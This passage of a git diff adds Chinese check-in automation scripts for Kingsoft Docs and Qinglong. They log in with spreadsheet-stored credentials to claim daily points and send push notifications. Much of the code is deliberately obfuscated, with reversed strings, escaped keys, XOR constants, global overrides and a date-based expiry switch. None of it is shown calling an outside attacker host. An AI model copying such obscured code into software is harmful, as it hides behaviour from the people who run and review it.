(content);}else{respmsg=respj["\u006d\u0073\u0067"];content='📢\x20'+respmsg+'\x0a';messageFail+=content;console["\u006c\u006f\u0067"](content);}}else{content=" \u274C".split("").reverse().join("")+"\n\u8D25\u5931\u5F55\u767B".split("").reverse().join("");messageFail+=content;console["\u006c\u006f\u0067"](content);}msg=[messageSuccess,messageFail,token];return msg;}function sign(_0x382352,_0xa987ea,_0x1cc39c){messageSuccess="".split("").reverse().join("");messageFail="";flagstatus=0xa3870^0xa3870;headers1={"\u0055\u0073\u0065\u0072\u002d\u0041\u0067\u0065\u006e\u0074":'Mozilla/5.0\x20(Windows\x20NT\x2010.0;\x20Win64;\x20x64)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/122.0.6261.95\x20Safari/537.36',"\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065":"\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064",'Cookie':_0x1cc39c};resp=HTTP['get']("emiTyaDnIngiSteg/stniop/bew-oamgnoix/moc.iliadoamgnoix.www//:ptth".split("").reverse().join(""),{'headers':headers1});console['log'](resp);respj=resp["\u006a\u0073\u006f\u006e"]();console['log'](respj);console['log'](respj['msg']);if(respj["\u0063\u006f\u0064\u0065"]!=(0x31ee9^0x31ee9)){content='❌\x20'+"\n\u8D25\u5931\u5230\u7B7E".split("").reverse().join("");messageFail+=content;console['log'](content);msg=[messageSuccess,messageFail,flagstatus];return msg;}resp=HTTP["\u0067\u0065\u0074"](_0x382352+(respj["\u006f\u0062\u006a"]+(0xc9be8^0xc9be9))['toString'](),{"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":headers1});console["\u006c\u006f\u0067"](resp);console['log'](resp['msg']);if(resp['status']==(0x95688^0x95640)){resp=resp['json']();console["\u006c\u006f\u0067"](resp);code=resp["\u0063\u006f\u0064\u0065"];resp1=HTTP["\u0067\u0065\u0074"]("stnioPresUteg/stniop/bew-oamgnoix/moc.iliadoamgnoix.www//:ptth".split("").reverse().join(""),{'headers':headers1});resp1=resp1['json']();console['log'](resp1);console["\u006c\u006f\u0067"](resp1['obj']);if(code==(0xc2cb4^0xc2cb4)){respmsg=resp['msg'];score=resp1['obj'];content='🎉\x20'+respmsg+"\u5F97\u83B7".split("").reverse().join("")+score+'积分\x0a';messageSuccess+=content;console["\u006c\u006f\u0067"](content);flagstatus=0x4b0ee^0x4b0ef;}else{respmsg=resp['msg'];if(respmsg=='今日已签到!'){content='📢\x20'+respmsg+'\x0a';messageSuccess+=content;console["\u006c\u006f\u0067"](content);flagstatus=0x6b164^0x6b165;}else{content='📢\x20'+respmsg+'\x0a';messageFail+=content;console['log'](content);}}}else{content='❌\x20'+"\n\u8D25\u5931\u5230\u7B7E".split("").reverse().join("");messageFail+=content;console['log'](content);}msg=[messageSuccess,messageFail,flagstatus];return msg;}function execHandle(_0xe9bbb2,_0x21c1c2){let _0xe7398f='';let _0x36dd22="";let _0x4ed9bd='';if(messageNickname==(0x24907^0x24906)){_0x4ed9bd=Application["\u0052\u0061\u006e\u0067\u0065"]("\u0043"+_0x21c1c2)["\u0054\u0065\u0078\u0074"];if(_0x4ed9bd==''){_0x4ed9bd="A\u683C\u5143\u5355".split("").reverse().join("")+_0x21c1c2+"".split("").reverse().join("");}}posLabel=_0x21c1c2-0x2;messageHeader[posLabel]='👨‍🚀\x20'+_0x4ed9bd;var _0x19231c="nigol/resu/bew-oamgnoix/moc.iliadoamgnoix.www//:ptth".split("").reverse().join("");var _0x40e07f="=yaDnIngis?stnioPeviecer/stniop/bew-oamgnoix/moc.iliadoamgnoix.www//:ptth".split("").reverse().join("");token=_0xe9bbb2;username=Application['Range']('D'+_0x21c1c2)["\u0054\u0065\u0078\u0074"];password=Application['Range']('E'+_0x21c1c2)['Text'];headers={"\u0055\u0073\u0065\u0072\u002d\u0041\u0067\u0065\u006e\u0074":'Mozilla/5.0\x20(Windows\x20NT\x2010.0;\x20Win64;\x20x64)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/122.0.6261.95\x20Safari/537.36','Content-Type':"\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064"};flagstatus=0x5d8b7^0x5d8b7;if(token!=''){data={'SESSION':"\u0033\u0031\u0066\u0034\u0066\u0030\u0033\u0062\u002d\u0037\u0033\u0035\u0032\u002d\u0034\u0065\u0030\u0038\u002d\u0039\u0062\u0061\u0030\u002d\u0037\u0061\u0031\u0036\u0064\u0062\u0038\u0038\u0035\u0061\u0065\u0062"};msg=sign(_0x40e07f,headers,token);if(msg[0xa4252^0xa4250]==0x1){flagstatus=0x1;content=msg[0x0];_0xe7398f+=content;console['log'](content);}else{console['log']('🍳\x20此token签到失败,尝试登录获取新token');}}else{console['log']('🍳\x20token为空,开始进行登录获取token');}if(flagstatus!=(0x44211^0x44210)){data={'account':username,"\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064":password,'originType':'1'};msg=login(_0x19231c,headers,data);if(msg[0x2]!=''){token=msg[0xa2fd0^0xa2fd2];console["\u006c\u006f\u0067"]('🍳\x20登录成功,已获得最新token:'+token);Application["\u0052\u0061\u006e\u0067\u0065"]('A'+_0x21c1c2)['Value2']=token;data={'SESSION':token};msg=sign(_0x40e07f,headers,token);if(msg[0x5aebe^0x5aebc]==(0x99c56^0x99c57)){content=msg[0x0];_0xe7398f+=content;console["\u006c\u006f\u0067"](content);}else{content=msg[0x65027^0x65026];_0x36dd22+=content;console["\u006c\u006f\u0067"](content);}}else{console["\u006c\u006f\u0067"]('❌\x20获取最新token为空');content=msg[0x41a6e^0x41a6f];_0x36dd22+=content;console["\u006c\u006f\u0067"](content);}}sleep(0x9ecd0^0x9eb00);if(messageOnlyError==(0xed41a^0xed41b)){messageArray[posLabel]=_0x36dd22;}else{if(_0x36dd22!=''){messageArray[posLabel]=_0x36dd22+'\x20'+_0xe7398f;}else{messageArray[posLabel]=_0xe7398f;}}if(messageArray[posLabel]!=""){console['log'](messageArray[posLabel]);}} \ No newline at end of file diff --git a/脚本库/web版/账密/王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js b/脚本库/web版/账密/王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js new file mode 100644 index 0000000..b32ab2f --- /dev/null +++ b/脚本库/web版/账密/王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js @@ -0,0 +1,630 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/wangzhe.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wangzhe.js +// # Repo: imoki/sign_script +// # Path: polymerization/wangzhe.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 92cce1aa99a7432e308ea56aba70fb5d9c6cb9c200fa83adcf5db15facad4401 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "王者荣耀英雄介绍" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:wangzhe + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "wangzhe"; // 分配置表名称, (修改这里) +var pushHeader = "【王者荣耀英雄介绍】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") 